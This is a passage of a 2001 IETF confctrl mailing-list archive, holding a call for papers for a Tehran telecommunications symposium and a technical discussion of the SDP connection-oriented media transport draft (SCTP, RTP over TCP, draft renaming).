RealSystem (Player and Server and Encoder) have been using RTSP/SDP in 
shipping commercial products since the RFC numbers were issued in 
1998.  The RealServer and RealPlayer by default use our proprietary 
RealData Transport (RDT) for data transport but they both support RTP/RTCP 
as well.

The QuickTime System (Server and Player) also use RTSP/SDP/RTP/RTCP and 
have been shipping as commercial products for ~18 months.

SAP is used mostly for VoIP applications and I believe there are products 
from Cisco and Lucent (and many others) that are available today.

JEff


From confctrl-owner  Thu Jan 25 11:46:48 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA08153
	for confctrl-outgoing; Thu, 25 Jan 2001 11:46:48 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA08147
	for <confctrl@zephyr.isi.edu>; Thu, 25 Jan 2001 11:46:46 -0800 (PST)
Received: from imo-r19.mx.aol.com (imo-r19.mx.aol.com [152.163.225.73])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0PJkiU19640;
	Thu, 25 Jan 2001 11:46:45 -0800 (PST)
Received: from HOJABRI@aol.com
	by imo-r19.mx.aol.com (mail_out_v29.5.) id k.f9.6dfec6b (3930);
	Thu, 25 Jan 2001 14:46:26 -0500 (EST)
From: HOJABRI@aol.com
Message-ID: <f9.6dfec6b.27a1dc92@aol.com>
Date: Thu, 25 Jan 2001 14:46:26 EST
Subject: International Telecommunication Symposium
To: end2end-interest@ISI.EDU
CC: confctrl@ISI.EDU
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="part1_f9.6dfec6b.27a1dc92_boundary"
Content-Disposition: Inline
X-Mailer: 6.0 sub 171
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--part1_f9.6dfec6b.27a1dc92_boundary
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

This message is posted by Sharif University Association, and we apologize if 
it is duplicate.

Fredun Hojabri
President
Sharif University Association
-------------------------------------------------------

INTERNATIONAL SYMPOSIUM ON
TELECOMMUNICATIONS (IST2001)
September 1 - 3, 2001
Esteghlal Grand Hotel TEHRAN, IRAN

THEME: DIALOGUE OF CIVILIZATIONS THROUGH TELECOMMUNICATIONS

Organized tours to :
Isfahan, Shiraz and Tehran on 30 - 31 of August, 4 - 5 of September 2001

The first International Symposium on Telecommunications will be organized by 
the                 
Iran Telecommunication Research Center (ITRC). The Symposium will be 
sponsored by IEEE, IEE, IFIP and ICT. It aims to provide a broad 
international forum as well as an outstanding opportunity for scientific 
researchers, academicians and telecommunication engineers to discuss new and 
emerging technologies, progress in standards, services and their applications 
in telecommunication and information systems. The event will feature world- 
renowned plenary speakers, tutorial presentations and focused mini-symposia.

Scope:
Topics to be addressed include, but are not limited to the following:
Adaptive Communications
Social implications of telecommunications
Signal processing for communications
Personal communication networks and systems
Broadband ISDN and ATM high- speed networks and systems
New network services and applications
Network management
Network architectures and standards
Intelligent networks and communications software systems
Electronic commerce
IP Telephony
Multimedia (speech, image and video) communications
Interconnection networks
Optical communications and networking
Smart Antennas
Satellite Systems and applications
Security and authentication
Regulation and public policy
Wireless Communications
Deregulation and Privatization.

A more Focused Mini- Symposium Will be Organized By Dr. Guy Omidyar

Mini- Symposium on Mobile and Wireless Communication Networks:
Integration of fixed and portable wireless access technologies and mobility
features into fixed and mobile IP networks is a new paradigm. This approach
presents a cost effective and efficient way to provide seamless end- to- end
connectivity and ubiquitous access. This wireless market has grown rapidly 
and is expected to generate billions of dollars in revenues. The deployment 
of broadband cellular- based technologies including demand for internet 
mobility and their integration with emerging Broadband Wireless Access 
Networks (BWANs) are becoming increasingly important. Mobility and connection 
management, location management, connection establishment, quality of 
service, provisioning for voice, video, image and data are some of the focus 
areas of this Mini- symposium.
Contributions from standardization and research consortiums are accepted on
mobile, satellite and personal communication- from 3 rd to 4 th generations,
Wireless Applications Protocols (WAP), 3GPP and UMTS/ IMT2000. Topics to be
covered in the technical session of this Mini- Symposium include, but are not
limited to:
Models of mobile and wireless networks
Performance analysis and design of wireless systems.
Wireless tele- traffic study and traffic characterization and management
Wireless LAN architectures
Radio interface
Mobility management and roaming
Mobile multimedia networking
Wireless security
Wireless in the local loops
Wireless and mobile cellular internet
Mobile and wireless ATM networks
Multiple access techniques
Experimental mobile and wireless networks and trials
Satellite network architecture
Signal processing for wireless

Medium of Presentation: ENGLISH

Call for Papers:
Papers are solicited which describe original work suitable for the symposium. 
Prospective authors are requested to submit 3 copies of an extended summary 
of about 400 words.

Deadlines: 
Extended summary: March 1, 2001
Notification of acceptance: May 1, 2001
Final paper submission: July 1, 2001
Advance registration: July 1, 2001
Tutorial Proposal (in any area of the scope of the conference): March 1, 2001

Information for Authors:
The final paper submission should be double column and single- spaced (Times 
Roman font sign) with 4 pages or less in length. Submissions should include: 
title, author( s),
affiliation( s), abstract and list of keywords. Identify the author 
responsible for
correspondence, including the author's name, position, mailing address, 
telephone and fax numbers and e - mail address. One of the authors of each 
accepted paper must present the paper at IST 2001. A sample of the final 
paper format will be sent to the authors.

Address for Submissions:
Authors are requested to submit their manuscripts either electronically as 
PDF or
Postscript format or hard copy to the following address: a. eslami@ itrc. ac. 
ir
The postal address is:
IST2001
International Affairs, Iran Telecommunication Research Center
End of North Kargar St,
P. O. Box 14155- 3961
Tehran, 14399  
Iran  

General Information:
For more information please visit the Web site at:
http:// www. itrc. ac. ir/ ist2001/
Or send your notification of interest to
e- mail : a. eslami@ itrc. ac. ir
Tel/ Fax: (9821) 8009885
Tel: (9821) 8872988/ 9

Chairman:
Mohammad Hakkak, m.hakkak@itrc.ac.ir

Technical Program Chair:
Farokh Marvasti, farokh. marvasti@ kcl. ac. uk

Steering Committee:
G. Omidyar, Computer Sciences Corporation, USA
M. Malek Zavarei, Lucent Technologies, Bell Labs, USA
M. Hakkak, Director of Iran Telecom Research Center, Iran
F. Marvasti, King's College London, UK




--part1_f9.6dfec6b.27a1dc92_boundary
Content-Type: text/html; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

<HTML><FONT FACE=arial,helvetica><FONT  SIZE=2>This message is posted by Sharif University Association, and we apologize if 
<BR>it is duplicate.
<BR>
<BR>Fredun Hojabri
<BR>President
<BR>Sharif University Association
<BR>-------------------------------------------------------
<BR>
<BR>INTERNATIONAL SYMPOSIUM ON
<BR>TELECOMMUNICATIONS (IST2001)
<BR>September 1 - 3, 2001
<BR>Esteghlal Grand Hotel TEHRAN, IRAN
<BR>
<BR>THEME: DIALOGUE OF CIVILIZATIONS THROUGH TELECOMMUNICATIONS
<BR>
<BR>Organized tours to :
<BR>Isfahan, Shiraz and Tehran on 30 - 31 of August, 4 - 5 of September 2001
<BR>
<BR>The first International Symposium on Telecommunications will be organized by 
<BR>the &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<BR>Iran Telecommunication Research Center (ITRC). The Symposium will be 
<BR>sponsored by IEEE, IEE, IFIP and ICT. It aims to provide a broad 
<BR>international forum as well as an outstanding opportunity for scientific 
<BR>researchers, academicians and telecommunication engineers to discuss new and 
<BR>emerging technologies, progress in standards, services and their applications 
<BR>in telecommunication and information systems. The event will feature world- 
<BR>renowned plenary speakers, tutorial presentations and focused mini-symposia.
<BR>
<BR>Scope:
<BR>Topics to be addressed include, but are not limited to the following:
<BR>Adaptive Communications
<BR>Social implications of telecommunications
<BR>Signal processing for communications
<BR>Personal communication networks and systems
<BR>Broadband ISDN and ATM high- speed networks and systems
<BR>New network services and applications
<BR>Network management
<BR>Network architectures and standards
<BR>Intelligent networks and communications software systems
<BR>Electronic commerce
<BR>IP Telephony
<BR>Multimedia (speech, image and video) communications
<BR>Interconnection networks
<BR>Optical communications and networking
<BR>Smart Antennas
<BR>Satellite Systems and applications
<BR>Security and authentication
<BR>Regulation and public policy
<BR>Wireless Communications
<BR>Deregulation and Privatization.
<BR>
<BR>A more Focused Mini- Symposium Will be Organized By Dr. Guy Omidyar
<BR>
<BR>Mini- Symposium on Mobile and Wireless Communication Networks:
<BR>Integration of fixed and portable wireless access technologies and mobility
<BR>features into fixed and mobile IP networks is a new paradigm. This approach
<BR>presents a cost effective and efficient way to provide seamless end- to- end
<BR>connectivity and ubiquitous access. This wireless market has grown rapidly 
<BR>and is expected to generate billions of dollars in revenues. The deployment 
<BR>of broadband cellular- based technologies including demand for internet 
<BR>mobility and their integration with emerging Broadband Wireless Access 
<BR>Networks (BWANs) are becoming increasingly important. Mobility and connection 
<BR>management, location management, connection establishment, quality of 
<BR>service, provisioning for voice, video, image and data are some of the focus 
<BR>areas of this Mini- symposium.
<BR>Contributions from standardization and research consortiums are accepted on
<BR>mobile, satellite and personal communication- from 3 rd to 4 th generations,
<BR>Wireless Applications Protocols (WAP), 3GPP and UMTS/ IMT2000. Topics to be
<BR>covered in the technical session of this Mini- Symposium include, but are not
<BR>limited to:
<BR>Models of mobile and wireless networks
<BR>Performance analysis and design of wireless systems.
<BR>Wireless tele- traffic study and traffic characterization and management
<BR>Wireless LAN architectures
<BR>Radio interface
<BR>Mobility management and roaming
<BR>Mobile multimedia networking
<BR>Wireless security
<BR>Wireless in the local loops
<BR>Wireless and mobile cellular internet
<BR>Mobile and wireless ATM networks
<BR>Multiple access techniques
<BR>Experimental mobile and wireless networks and trials
<BR>Satellite network architecture
<BR>Signal processing for wireless
<BR>
<BR>Medium of Presentation: ENGLISH
<BR>
<BR>Call for Papers:
<BR>Papers are solicited which describe original work suitable for the symposium. 
<BR>Prospective authors are requested to submit 3 copies of an extended summary 
<BR>of about 400 words.
<BR>
<BR>Deadlines: 
<BR>Extended summary: March 1, 2001
<BR>Notification of acceptance: May 1, 2001
<BR>Final paper submission: July 1, 2001
<BR>Advance registration: July 1, 2001
<BR>Tutorial Proposal (in any area of the scope of the conference): March 1, 2001
<BR>
<BR>Information for Authors:
<BR>The final paper submission should be double column and single- spaced (Times 
<BR>Roman font sign) with 4 pages or less in length. Submissions should include: 
<BR>title, author( s),
<BR>affiliation( s), abstract and list of keywords. Identify the author 
<BR>responsible for
<BR>correspondence, including the author's name, position, mailing address, 
<BR>telephone and fax numbers and e - mail address. One of the authors of each 
<BR>accepted paper must present the paper at IST 2001. A sample of the final 
<BR>paper format will be sent to the authors.
<BR>
<BR>Address for Submissions:
<BR>Authors are requested to submit their manuscripts either electronically as 
<BR>PDF or
<BR>Postscript format or hard copy to the following address: a. eslami@ itrc. ac. 
<BR>ir
<BR>The postal address is:
<BR>IST2001
<BR>International Affairs, Iran Telecommunication Research Center
<BR>End of North Kargar St,
<BR>P. O. Box 14155- 3961
<BR>Tehran, 14399 &nbsp;
<BR>Iran &nbsp;
<BR>
<BR>General Information:
<BR>For more information please visit the Web site at:
<BR>http:// www. itrc. ac. ir/ ist2001/
<BR>Or send your notification of interest to
<BR>e- mail : a. eslami@ itrc. ac. ir
<BR>Tel/ Fax: (9821) 8009885
<BR>Tel: (9821) 8872988/ 9
<BR>
<BR>Chairman:
<BR>Mohammad Hakkak, m.hakkak@itrc.ac.ir
<BR>
<BR>Technical Program Chair:
<BR>Farokh Marvasti, farokh. marvasti@ kcl. ac. uk
<BR>
<BR>Steering Committee:
<BR>G. Omidyar, Computer Sciences Corporation, USA
<BR>M. Malek Zavarei, Lucent Technologies, Bell Labs, USA
<BR>M. Hakkak, Director of Iran Telecom Research Center, Iran
<BR>F. Marvasti, King's College London, UK
<BR>
<BR>
<BR></FONT></HTML>

--part1_f9.6dfec6b.27a1dc92_boundary--

From confctrl-owner  Thu Jan 25 15:43:46 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id PAA21700
	for confctrl-outgoing; Thu, 25 Jan 2001 15:43:46 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA21695
	for <confctrl@zephyr.isi.edu>; Thu, 25 Jan 2001 15:43:44 -0800 (PST)
Received: from imo-d04.mx.aol.com (imo-d04.mx.aol.com [205.188.157.36])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0PNhhU01948
	for <confctrl@isi.edu>; Thu, 25 Jan 2001 15:43:44 -0800 (PST)
Received: from HOJABRI@aol.com
	by imo-d04.mx.aol.com (mail_out_v29.5.) id k.5a.10433e08 (4394)
	 for <confctrl@isi.edu>; Thu, 25 Jan 2001 18:42:39 -0500 (EST)
From: HOJABRI@aol.com
Message-ID: <5a.10433e08.27a213ee@aol.com>
Date: Thu, 25 Jan 2001 18:42:38 EST
Subject: International Telecommunication Symposium
To: confctrl@ISI.EDU
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="part1_5a.10433e08.27a213ee_boundary"
Content-Disposition: Inline
X-Mailer: 6.0 sub 149
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--part1_5a.10433e08.27a213ee_boundary
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable

This message is posted by Sharif University Association, and we apologize if=
=20
it is a duplicate.

Fredun Hojabri
President
Sharif University Association
-------------------------------------------------------

INTERNATIONAL SYMPOSIUM ON
TELECOMMUNICATIONS (IST2001)
September 1 - 3, 2001
Esteghlal Grand Hotel TEHRAN, IRAN

THEME: DIALOGUE OF CIVILIZATIONS THROUGH TELECOMMUNICATIONS

Organized tours to :
Isfahan, Shiraz and Tehran on 30 - 31 of August, 4 - 5 of September 2001

The first International Symposium on Telecommunications will be organized by=
=20
the =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0
Iran Telecommunication Research Center (ITRC). The Symposium will be=20
sponsored by IEEE, IEE, IFIP and ICT. It aims to provide a broad=20
international forum as well as an outstanding opportunity for scientific=20
researchers, academicians and telecommunication engineers to discuss new and=
=20
emerging technologies, progress in standards, services and their application=
s=20
in telecommunication and information systems. The event will feature world-=20
renowned plenary speakers, tutorial presentations and focused mini-symposia.

Scope:
Topics to be addressed include, but are not limited to the following:
Adaptive Communications
Social implications of telecommunications
Signal processing for communications
Personal communication networks and systems
Broadband ISDN and ATM high- speed networks and systems
New network services and applications
Network management
Network architectures and standards
Intelligent networks and communications software systems
Electronic commerce
IP Telephony
Multimedia (speech, image and video) communications
Interconnection networks
Optical communications and networking
Smart Antennas
Satellite Systems and applications
Security and authentication
Regulation and public policy
Wireless Communications
Deregulation and Privatization.

A more Focused Mini- Symposium Will be Organized By Dr. Guy Omidyar

Mini- Symposium on Mobile and Wireless Communication Networks:
Integration of fixed and portable wireless access technologies and mobility
features into fixed and mobile IP networks is a new paradigm. This approach
presents a cost effective and efficient way to provide seamless end- to- end
connectivity and ubiquitous access. This wireless market has grown rapidly=20
and is expected to generate billions of dollars in revenues. The deployment=20
of broadband cellular- based technologies including demand for internet=20
mobility and their integration with emerging Broadband Wireless Access=20
Networks (BWANs) are becoming increasingly important. Mobility and connectio=
n=20
management, location management, connection establishment, quality of=20
service, provisioning for voice, video, image and data are some of the focus=
=20
areas of this Mini- symposium.
Contributions from standardization and research consortiums are accepted on
mobile, satellite and personal communication- from 3 rd to 4 th generations,
Wireless Applications Protocols (WAP), 3GPP and UMTS/ IMT2000. Topics to be
covered in the technical session of this Mini- Symposium include, but are no=
t
limited to:
Models of mobile and wireless networks
Performance analysis and design of wireless systems.
Wireless tele- traffic study and traffic characterization and management
Wireless LAN architectures
Radio interface
Mobility management and roaming
Mobile multimedia networking
Wireless security
Wireless in the local loops
Wireless and mobile cellular internet
Mobile and wireless ATM networks
Multiple access techniques
Experimental mobile and wireless networks and trials
Satellite network architecture
Signal processing for wireless

Medium of Presentation: ENGLISH

Call for Papers:
Papers are solicited which describe original work suitable for the symposium=
.=20
Prospective authors are requested to submit 3 copies of an extended summary=20
of about 400 words.

Deadlines:=20
Extended summary: March 1, 2001
Notification of acceptance: May 1, 2001
Final paper submission: July 1, 2001
Advance registration: July 1, 2001
Tutorial Proposal (in any area of the scope of the conference): March 1, 200=
1

Information for Authors:
The final paper submission should be double column and single- spaced (Times=
=20
Roman font sign) with 4 pages or less in length. Submissions should include:=
=20
title, author( s),
affiliation( s), abstract and list of keywords. Identify the author=20
responsible for
correspondence, including the author's name, position, mailing address,=20
telephone and fax numbers and e - mail address. One of the authors of each=20
accepted paper must present the paper at IST 2001. A sample of the final=20
paper format will be sent to the authors.

Address for Submissions:
Authors are requested to submit their manuscripts either electronically as=20
PDF or
Postscript format or hard copy to the following address: a. eslami@ itrc. ac=
.=20
ir
The postal address is:
IST2001
International Affairs, Iran Telecommunication Research Center
End of North Kargar St,
P. O. Box 14155- 3961
Tehran, 14399 =A0
Iran =A0

General Information:
For more information please visit the Web site at:
http:// www. itrc. ac. ir/ ist2001/
Or send your notification of interest to
e- mail : a. eslami@ itrc. ac. ir
Tel/ Fax: (9821) 8009885
Tel: (9821) 8872988/ 9

Chairman:
Mohammad Hakkak, m.hakkak@itrc.ac.ir

Technical Program Chair:
Farokh Marvasti, farokh. marvasti@ kcl. ac. uk

Steering Committee:
G. Omidyar, Computer Sciences Corporation, USA
M. Malek Zavarei, Lucent Technologies, Bell Labs, USA
M. Hakkak, Director of Iran Telecom Research Center, Iran
F. Marvasti, King's College London, UK




--part1_5a.10433e08.27a213ee_boundary
Content-Type: text/html; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable

<HTML><FONT FACE=3Darial,helvetica><FONT  SIZE=3D2>This message is posted by=
 Sharif University Association, and we apologize if=20
<BR>it is a duplicate.
<BR>
<BR>Fredun Hojabri
<BR>President
<BR>Sharif University Association
<BR>-------------------------------------------------------
<BR>
<BR>INTERNATIONAL SYMPOSIUM ON
<BR>TELECOMMUNICATIONS (IST2001)
<BR>September 1 - 3, 2001
<BR>Esteghlal Grand Hotel TEHRAN, IRAN
<BR>
<BR>THEME: DIALOGUE OF CIVILIZATIONS THROUGH TELECOMMUNICATIONS
<BR>
<BR>Organized tours to :
<BR>Isfahan, Shiraz and Tehran on 30 - 31 of August, 4 - 5 of September 2001
<BR>
<BR>The first International Symposium on Telecommunications will be organize=
d by=20
<BR>the =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0
<BR>Iran Telecommunication Research Center (ITRC). The Symposium will be=20
<BR>sponsored by IEEE, IEE, IFIP and ICT. It aims to provide a broad=20
<BR>international forum as well as an outstanding opportunity for scientific=
=20
<BR>researchers, academicians and telecommunication engineers to discuss new=
 and=20
<BR>emerging technologies, progress in standards, services and their applica=
tions=20
<BR>in telecommunication and information systems. The event will feature wor=
ld-=20
<BR>renowned plenary speakers, tutorial presentations and focused mini-sympo=
sia.
<BR>
<BR>Scope:
<BR>Topics to be addressed include, but are not limited to the following:
<BR>Adaptive Communications
<BR>Social implications of telecommunications
<BR>Signal processing for communications
<BR>Personal communication networks and systems
<BR>Broadband ISDN and ATM high- speed networks and systems
<BR>New network services and applications
<BR>Network management
<BR>Network architectures and standards
<BR>Intelligent networks and communications software systems
<BR>Electronic commerce
<BR>IP Telephony
<BR>Multimedia (speech, image and video) communications
<BR>Interconnection networks
<BR>Optical communications and networking
<BR>Smart Antennas
<BR>Satellite Systems and applications
<BR>Security and authentication
<BR>Regulation and public policy
<BR>Wireless Communications
<BR>Deregulation and Privatization.
<BR>
<BR>A more Focused Mini- Symposium Will be Organized By Dr. Guy Omidyar
<BR>
<BR>Mini- Symposium on Mobile and Wireless Communication Networks:
<BR>Integration of fixed and portable wireless access technologies and mobil=
ity
<BR>features into fixed and mobile IP networks is a new paradigm. This appro=
ach
<BR>presents a cost effective and efficient way to provide seamless end- to-=
 end
<BR>connectivity and ubiquitous access. This wireless market has grown rapid=
ly=20
<BR>and is expected to generate billions of dollars in revenues. The deploym=
ent=20
<BR>of broadband cellular- based technologies including demand for internet=20
<BR>mobility and their integration with emerging Broadband Wireless Access=20
<BR>Networks (BWANs) are becoming increasingly important. Mobility and conne=
ction=20
<BR>management, location management, connection establishment, quality of=20
<BR>service, provisioning for voice, video, image and data are some of the f=
ocus=20
<BR>areas of this Mini- symposium.
<BR>Contributions from standardization and research consortiums are accepted=
 on
<BR>mobile, satellite and personal communication- from 3 rd to 4 th generati=
ons,
<BR>Wireless Applications Protocols (WAP), 3GPP and UMTS/ IMT2000. Topics to=
 be
<BR>covered in the technical session of this Mini- Symposium include, but ar=
e not
<BR>limited to:
<BR>Models of mobile and wireless networks
<BR>Performance analysis and design of wireless systems.
<BR>Wireless tele- traffic study and traffic characterization and management
<BR>Wireless LAN architectures
<BR>Radio interface
<BR>Mobility management and roaming
<BR>Mobile multimedia networking
<BR>Wireless security
<BR>Wireless in the local loops
<BR>Wireless and mobile cellular internet
<BR>Mobile and wireless ATM networks
<BR>Multiple access techniques
<BR>Experimental mobile and wireless networks and trials
<BR>Satellite network architecture
<BR>Signal processing for wireless
<BR>
<BR>Medium of Presentation: ENGLISH
<BR>
<BR>Call for Papers:
<BR>Papers are solicited which describe original work suitable for the sympo=
sium.=20
<BR>Prospective authors are requested to submit 3 copies of an extended summ=
ary=20
<BR>of about 400 words.
<BR>
<BR>Deadlines:=20
<BR>Extended summary: March 1, 2001
<BR>Notification of acceptance: May 1, 2001
<BR>Final paper submission: July 1, 2001
<BR>Advance registration: July 1, 2001
<BR>Tutorial Proposal (in any area of the scope of the conference): March 1,=
 2001
<BR>
<BR>Information for Authors:
<BR>The final paper submission should be double column and single- spaced (T=
imes=20
<BR>Roman font sign) with 4 pages or less in length. Submissions should incl=
ude:=20
<BR>title, author( s),
<BR>affiliation( s), abstract and list of keywords. Identify the author=20
<BR>responsible for
<BR>correspondence, including the author's name, position, mailing address,=20
<BR>telephone and fax numbers and e - mail address. One of the authors of ea=
ch=20
<BR>accepted paper must present the paper at IST 2001. A sample of the final=
=20
<BR>paper format will be sent to the authors.
<BR>
<BR>Address for Submissions:
<BR>Authors are requested to submit their manuscripts either electronically=20=
as=20
<BR>PDF or
<BR>Postscript format or hard copy to the following address: a. eslami@ itrc=
. ac.=20
<BR>ir
<BR>The postal address is:
<BR>IST2001
<BR>International Affairs, Iran Telecommunication Research Center
<BR>End of North Kargar St,
<BR>P. O. Box 14155- 3961
<BR>Tehran, 14399 =A0
<BR>Iran =A0
<BR>
<BR>General Information:
<BR>For more information please visit the Web site at:
<BR>http:// www. itrc. ac. ir/ ist2001/
<BR>Or send your notification of interest to
<BR>e- mail : a. eslami@ itrc. ac. ir
<BR>Tel/ Fax: (9821) 8009885
<BR>Tel: (9821) 8872988/ 9
<BR>
<BR>Chairman:
<BR>Mohammad Hakkak, m.hakkak@itrc.ac.ir
<BR>
<BR>Technical Program Chair:
<BR>Farokh Marvasti, farokh. marvasti@ kcl. ac. uk
<BR>
<BR>Steering Committee:
<BR>G. Omidyar, Computer Sciences Corporation, USA
<BR>M. Malek Zavarei, Lucent Technologies, Bell Labs, USA
<BR>M. Hakkak, Director of Iran Telecom Research Center, Iran
<BR>F. Marvasti, King's College London, UK
<BR>
<BR>
<BR></FONT></HTML>

--part1_5a.10433e08.27a213ee_boundary--

From confctrl-owner  Mon Jan 29 07:50:54 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA16723
	for confctrl-outgoing; Mon, 29 Jan 2001 07:50:54 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA16718
	for <confctrl@zephyr.isi.edu>; Mon, 29 Jan 2001 07:50:53 -0800 (PST)
Received: from gromit.tactical-sw.com (207-77-57-190-inaddr.net1plus.com [207.77.57.190])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0TFoiU23883
	for <confctrl@ISI.EDU>; Mon, 29 Jan 2001 07:50:49 -0800 (PST)
Received: from cx991414-a.dialout.net (cx991414-d.crans1.ri.home.com [24.180.58.118])
	by gromit.tactical-sw.com (8.10.1/8.9.1) with ESMTP id f0TFp1Y00792;
	Mon, 29 Jan 2001 10:51:06 -0500 (EST)
Message-Id: <5.0.2.1.2.20010129104036.0348a3c0@mail.dialout.net>
X-Sender: yon@mail.dialout.net
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Mon, 29 Jan 2001 10:50:22 -0500
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, confctrl@ISI.EDU
From: David Yon <yon@dialout.net>
Subject: RE: Iterating draft-ietf-mmusic-sdp-tcpmedia-00.txt
In-Reply-To: <B65B4F8437968F488A01A940B21982BF9AAE34@DYN-EXCH-001.dynami
 csoft.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Finally getting a chance to spin a new version of the draft...

At 04:00 AM 12/14/00 -0500, Jonathan Rosenberg wrote:


> > While
> > I wish I was an encyclopedia of existing network protocols, I'm not.
> > :-)  So if folks could chime in with their favorite
> > connection-oriented
> > protocols they would like to see listed, that would help me a
> > great deal.
>
>I think if we have TLS (no need for a separate SSL identifier), TCP, and
>SCTP, we are covered.

The problem with SCTP is that it allows each endpoint to be comprised of 
multiple IP addresses, which:

         (a) is not possible to express in SDP, and
         (b) the draft in question does nothing to remedy

While I appreciate the notion that we want to cover as many protocols as we 
can in this draft, it's looking to me like expressing SCTP in SDP requires 
its own draft which then references this one.

The alternative is that we just live with the fact that this draft will not 
address the problem of SCTP endpoints have multiple IP addresses.


> >
> > On that topic, apparently there is an ambiguity as to what is
> > meant by
> > "RTP/AVP-TCP".  If there are still issues to be hammered out
> > on how RTP/AVP
> > is transported over TCP, I would submit that it is not an issue to be
> > addressed by my draft.
>
>rfc1890bis,
>http://www.ietf.org/internet-drafts/draft-ietf-avt-profile-new-09.txt,
>defines a default encapsulation format when none is defined. THis format is
>simply to append each packet with a two byte length. There is a somewhat
>annoying problem here, however.
>
>The tcpmedia draft would depend on this mechanism as a normative reference.
>Thus, it could not proceed to proposed until rfc1890bis goes to draft. At
>the current pace, that should be sometime in 2005.
>
>So, we have a few options. THe best one is to probably define a separate
>"Generic transport of RTP over stream protocols", which is a one page
>document that says "append each packet with a two byte length". Then, we can
>progress that document alone to proposed along with the tcpmedia draft,
>which would reference it.
>
>The other encapsulation, defined by RTSP (rfc2326), is interesting. It
>encapsulates the RTP stream within the same TCP connection that carries RTSP
>messages. What is interesting about it is that we could conceivably do the
>same for SIP; I think this is orthogonal to the SDP issue, but interesting
>to consider. Might be a somewhat cleaner way to deal with firewalls and
>NATs.
>
>Note that RTSP calls the usage of TCP over the RTSP TCP connection
>"RTP/AVP/TCP".

Anyone have an opinion on these options?  Do we want to just have this 
draft reference RTSP?  Or does anyone care about RFC1890bis enough to draft 
the one-pager that Jonathan mentions?  I'm not enough of a RTP expert to 
qualify.



> >
> > Brian Rosen spoke with me afterward and suggested that the
> > draft might be
> > unnecessarily biased towards TCP, whereas with some minor
> > rewording it
> > might expand in scope to all connection-oriented protocols
> > without any
> > additional complexity.  Brian if you could elaborate on this
> > a bit that
> > would be helpful.  I have a few reservations about it but I'd
> > like to hear
> > again what you are looking for so that I'm fully
> > understanding what you are
> > after.
>
>I think the only issue is really the tokens to identify the protocols. The
>action of "opening a connection" is common to all connection oriented
>transports.

Given the possible inclusion of SCTP in the draft, I'm going to scrub most 
of the references to TCP out of it and just talk about "connection setup" 
in the abstract.  It also begs the question of title, I propose renaming 
the draft as follows:

Connection-Oriented Media Transport in SDP
  <draft-ietf-mmusic-sdp-comedia-01.txt>

Any comments?


>-Jonathan R.
>---
>Jonathan D. Rosenberg                       72 Eagle Rock Ave.
>Chief Scientist                             First Floor
>dynamicsoft                                 East Hanover, NJ 07936
>jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
>http://www.cs.columbia.edu/~jdrosen         PHONE: (973) 952-5000
>http://www.dynamicsoft.com


David Yon
Chief Technical Officer
Dialout.Net, Inc.
yon@dialout.net


From confctrl-owner  Mon Jan 29 07:51:37 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA16752
	for confctrl-outgoing; Mon, 29 Jan 2001 07:51:37 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA16747
	for <confctrl@zephyr.isi.edu>; Mon, 29 Jan 2001 07:51:36 -0800 (PST)
Received: from gromit.tactical-sw.com (207-77-57-190-inaddr.net1plus.com [207.77.57.190])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0TFpYU23920
	for <confctrl@ISI.EDU>; Mon, 29 Jan 2001 07:51:35 -0800 (PST)
Received: from cx991414-a.dialout.net (cx991414-d.crans1.ri.home.com [24.180.58.118])
	by gromit.tactical-sw.com (8.10.1/8.9.1) with ESMTP id f0TFpCY00795;
	Mon, 29 Jan 2001 10:51:13 -0500 (EST)
Message-Id: <5.0.2.1.2.20010129105039.023700b0@mail.dialout.net>
X-Sender: yon@mail.dialout.net
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Mon, 29 Jan 2001 10:53:33 -0500
To: "Tom-PT Taylor" <taylor@nortelnetworks.com>, confctrl@ISI.EDU
From: David Yon <yon@dialout.net>
Subject: RE: Iterating draft-ietf-mmusic-sdp-tcpmedia-00.txt
In-Reply-To: <28560036253BD41191A10000F8BCBD11034362A3@zcard00g.ca.norte
 l.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

